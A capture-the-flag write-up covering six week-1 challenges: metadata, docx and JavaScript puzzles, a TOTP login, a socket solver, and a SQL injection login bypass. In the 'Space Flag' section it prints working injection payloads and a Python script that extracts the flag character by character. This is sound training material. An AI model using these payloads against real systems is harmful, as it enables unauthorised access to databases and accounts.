Set Solutions CTF 2021 Week 1

Quick Navigation
Week 2 \ Week 3 \ Week 4

Uniform Fashion

Challenge description:

FLOTUS has sent over these possible uniform samples. Make sure someone takes a good look.

Challenge inline image: uniformity.jpg

The challenge page displayed the image uniformity.jpg and no other information.

Hoping for an easy metadata or stego challenge, I downloaded the image and ran exiftool. Luckyily, the metadata entry for Creator contained the flag.

Little did I know that being blessed with an easy photo-relaterd exif challenge would curse me with stego rabbit holes as the competition progressed.

Secret Squirrel

Challenge description:

The quieter you become, the more you are able to hear.

Challenge attachment: hidden.docx

Upon opening hidden.docx, Microsoft Word warned me of hidden text, asking if I wanted to proceed.

There of course was then hidden text on the document, which I selected with command + a. I pasted the text into my search bar (as to remove formatting), revealing the message “There is more to this document than meets the eye”.

Given that there was no warning of macros upon opening the document, my thought was to unzip it. A Word document acts as a zip file, and can be extracted, revealing its contents. A few files appeared, including “extra”, which had no extension. I cat the file, and a flag appeared!

Rather Cryptic

Challenge description:

Intelligence has intercepted the following message:
-the five boxing wizards jump quickly-
What does it all mean???

Challenge attachment: itWasAliens

Rather Cryptic presented the pangram the five boxing wizards jump quickly, a sentence which contains all letters of the English alphabet. Inspection of the page revealed that the pangram had the HTML element id of “pangram”, implying that understanding the pangram was part of the challenge.

RatherCryptic Inspect Element

Upon first look, the attachment itWasAliens was 67kb of obfuscated JavaScript, without formatting. To make comprehension easier, I used JSnice to format and annotate the file.

Once formatted, I opened the file and searched “flag”, hoping some variables would be in plaintext. Luckily, there was a flag variable, being set to various calculated indexes of a “pangram” variable. The pangram variable, in turn, was set to part of the current document.

... pangram = elem[_0x2b18f4(-0x14f, -0x1a2, -0x165, '$Xih', -0xdc) + _0x515361(0x4f9, 0x4aa, 0x4bf, '$fFd', 0x3d9) + 't'], flag = pangram[-0x1db0 + -0x5 * 0x56 + 0x2 * 0xfc1] + pangram[0x642 * 0x6 + 0xe6e + -0x33ef] + ...

Knowing that the code was most likely using the pangram to create a flag, I copied only pangram and the relevant “flag” portion into a node session. Instantly, the flag appeared!

From Russia with Love

Challenge description:

Yuri is here to “help solidify US/Russian relations in space”…
…or is he a Russian spy?
Login to his portal to find out!

On the challenge page was a login portal titled “Russia Federation VPN” and a post-it note labeled “TOTP Secret”. The login portal required a username, password, and MFA token.

Since the challenge involved a portion of custom HTML (rather than just the challenge description), I decided to inspect the page, and located Yuri’s username Yuri and password espionageandvodka.

TOTP uses a seed (re: TOTP Secret) to generate login codes. Therefore, I would need a TOTP generator to utilize the information collected thus far. I googled “TOTP calculator” and clicked on the first result.

I set the secret key to 3LBDJVKP6TJ4NUH6 and left the default number of digits (6), and a token appeared.

I entered Yuri’s information, along with a newely-generated TOTP token into the logon portal and clicked submit, revealing a flag!

Science Games

Challenge Description:

Nobody really cares about the science games, but it is fun to beat the Air Force. This challenge will test your ability to solve simple problems repeatedly. The problems will be simple, once you figure out how to read them.

Connect to the range at 18.224.78.17 port 1337

Upon connected to the range I was given a python dictionary-formatted alphabet of hex to emoji and a message, consisting of emojis.

The message translated to “Send back (character) to get the next character”. Upon sending the desired character, a message would appear, containing the same instructions (but a varying character).

Using Python’s pwntools module, I created a quick python script to interact with the range, concatenating each new character to a string.

from pwnlib.tubes.remote import *


IP = "18.224.78.17"
PORT = 1337

class Solver():
    alpha2 = {} 
    def decode(self, inp):
        decoded = ""
        for i in inp:
            decoded += self.alpha2[i]
        return bytearray.fromhex(decoded).decode()

    def main(self):
        conn = remote(IP, PORT)
        print(conn.recvline())
        r = conn.recvline()
        alpha = eval(r.decode('utf8').strip("\n").split(": ", 1)[1])
        self.alpha2 = {v:k for k,v in alpha.items()}
        self.alpha2[" "] = " "  # add a space mapping
        print(alpha)
        print(conn.recvline())
        print(conn.recvline())

        key = ""
        while True:
            r = conn.recvline()
            inp = (r.decode('utf8').strip("\n"))
            dec = self.decode(inp)
            print(dec)
            k = (f"{dec.split(' ')[2]}")
            key += k
            print(key)
            print(f"[+] Sending {k}")
            conn.send(f"{k}\n")


if __name__ == '__main__':
    Solver().main()

After some slight tweaks on how I was receiving and parsing characters, the script was functional, and the flag was obtained:

Space Flag

note: I forgot to save the description and only took screenshots for parts of this challenge. Everything before “back on track” is probably nonsense unless you attempted this challenge

The Space Flag challenge contained a large, 1.4 MB PNG taken from Netflix’s Space Force, followed by a login form titled “Exosuite Management Login*.

Being the oblivious, rule-abiding player that I am, I took the rule regarding “No attacking challenge infrastructure” to include the Exosuite Management Login form. Recall how I mentioned the rabbit hole curse invoked by the first challenge? Here is where it happens. Feel free to skip ahead to “Back on track”.

The rabbit hole

First, I ran every stego tool I could find against the image. pngcheck report an error with the image, “spaceflag.png illegal (unless recently approved) unknown, public chunk iDOT”. I started to read up on CTF challenges that involved fixing broken PNG chunks, in hope that a flag would appear over the image. No luck. An hour in, a stackexchange post revealed that MacOS has an undocumented quirk of adding iDOT to png images, despite it not being spec.

Next, I put my OSINT cap on and studied the plot of Space Force Episode 5: Space Flag. In episode 5, the Space Force is doing a drill (“capture the flag”) against the Air Force. The fight is close, but Space Force member Chan Kaifang uses a secret code to hinder the Air Force’s ability. After tediously skipping through each frame of the scene, I discovered that the secret code was literally code, and not relevant to the challenge.

QZN.run(roll_dice)
dice_value=red

But wait… maybe QZN is related to the space force? A google search of "QZN" space force leads me to an official government publication about the real Space Forces’ budget.

At this point, I took a break for dinner, and reached out to a friend to clarify the scope of the challenge. I banged my head against my desk when they told me that the login form sent a POST request to an ec2, which was technically not considered part of the competition infrastructure.

Back on track

Learning that the login form was in scope changed everything, as the flood gates for SQL injection and bruteforcing were open.

Entering “username” a'; -- resulted in a “Login Successful!”, with direction that can be interpreted as the FLAG existing in the table CTF.

As this is a semi-blind SQL injection challenge, I wanted to verify a negative result. I sent a query which attempted to select from MYTABLE.

SpaceFlag System Error

An error was returned, meaning at least one of the following:

  1. MYTABLE does NOT exist and therefore the statement errored
  2. MYTABLE does exist, however the underlying statement does not select three columns, and therefore the statement errored.

I attempted iterations of the same query to ensure the query caused the error, rather than the syntax I used.

To confirm that the table CTF exists, and to get information on the underlying query structure, I attempted the query, appending ,null to the union statement each time.

a' UNION SELECT null FROM CTF --: **SYSTEM ERROR**
a' UNION SELECT null,null FROM CTF --: **SYSTEM ERROR**
a' UNION SELECT null,null,null FROM CTF --: Login Successful!

Success! the table CTF exists and the underlying statement probably looks similar to:

SELECT id,username,password FROM users WHERE username='{username}' AND password='{password}';

My query transforms the statement, assuming that each portion of the query statement is valid:

SELECT id,username,password FROM users WHERE username='a' UNION SELECT null,null,null FROM CTF --

a' UNION SELECT null,randomcolumn,null FROM CTF --: **SYSTEM ERROR**
a' UNION SELECT null,flag,null FROM CTF --: Login Successful!

Finally, it was time to get the flag. As the SQL injection is only semi-blind, I had no need for sleep statements, and could verify the results of a SUBSTR query by checking if the login page returned success. The base query looked like the following:

a' UNION SELECT 1,2,3 FROM CTF WHERE SUBSTR(FLAG, 1, len({test_flag})) = {test_flag} --

The following python script is a redone version of what was used to enumerate the flag. valid_query was another function which returned True if the query was valid.

import string
CHARS = string.ascii_letters + string.digits + string.punctuation

QUERY = "a' UNION SELECT 1,2,3 FROM CTF WHERE SUBSTR(FLAG, 1, {}) = {} --"
FLAG = ""
while True:
    for c in CHARS:
        test_flag = FLAG + c
        query = QUERY.format(len(test_flag), test_flag)
        if valid_query(query, test_flag):
            FLAG = test_flag
            print(f"Found: {FLAG}")
            break
    else:
        break

For the sake of completeness, it is important to note that there are at least two main drawbacks with this script, when used outside of a straightforward CTF challenge:

  1. If two FLAG entries exist, being “SSI{flag}” and “SSI{flag_fake}”, only “SSI{flag_fake}” would be located.
  2. If two FLAG entries being “SelectMe” and “SSI{flag}”, only “SelectMe” would be located.

Issue 1 could be solved by adding a follow-up query, such as a' UNION SELECT 1,2,3 FROM CTF WHERE FLAG = {test_flag} --.

Issue 2 could be solved by:

  • Using a queue to store test flags so the script continues testing after exhausting “SelectMe”
  • Containing the while loop in a function, recursively checking other options following the located substring.

And for my own code embarrassment, here is the only photo I have of my original script running.

SpaceFlag Old Script

In retrospect, sqlmap map would have significantly outperformed my python scripting abilities. However, my sqlmap knowledge at the time was rudimentary, and I was very close to the flag. After finished the challenge–and secured a prize–I redid the challenge with sqlmap, which only appeared to work on the password section.

Week 1 lessons learned: breadth, not depth. Do not commit to one vector (i.e stego) unless you are certain that other vectors have been at least considered.

Quick Navigation
Week 2 \ Week 3 \ Week 4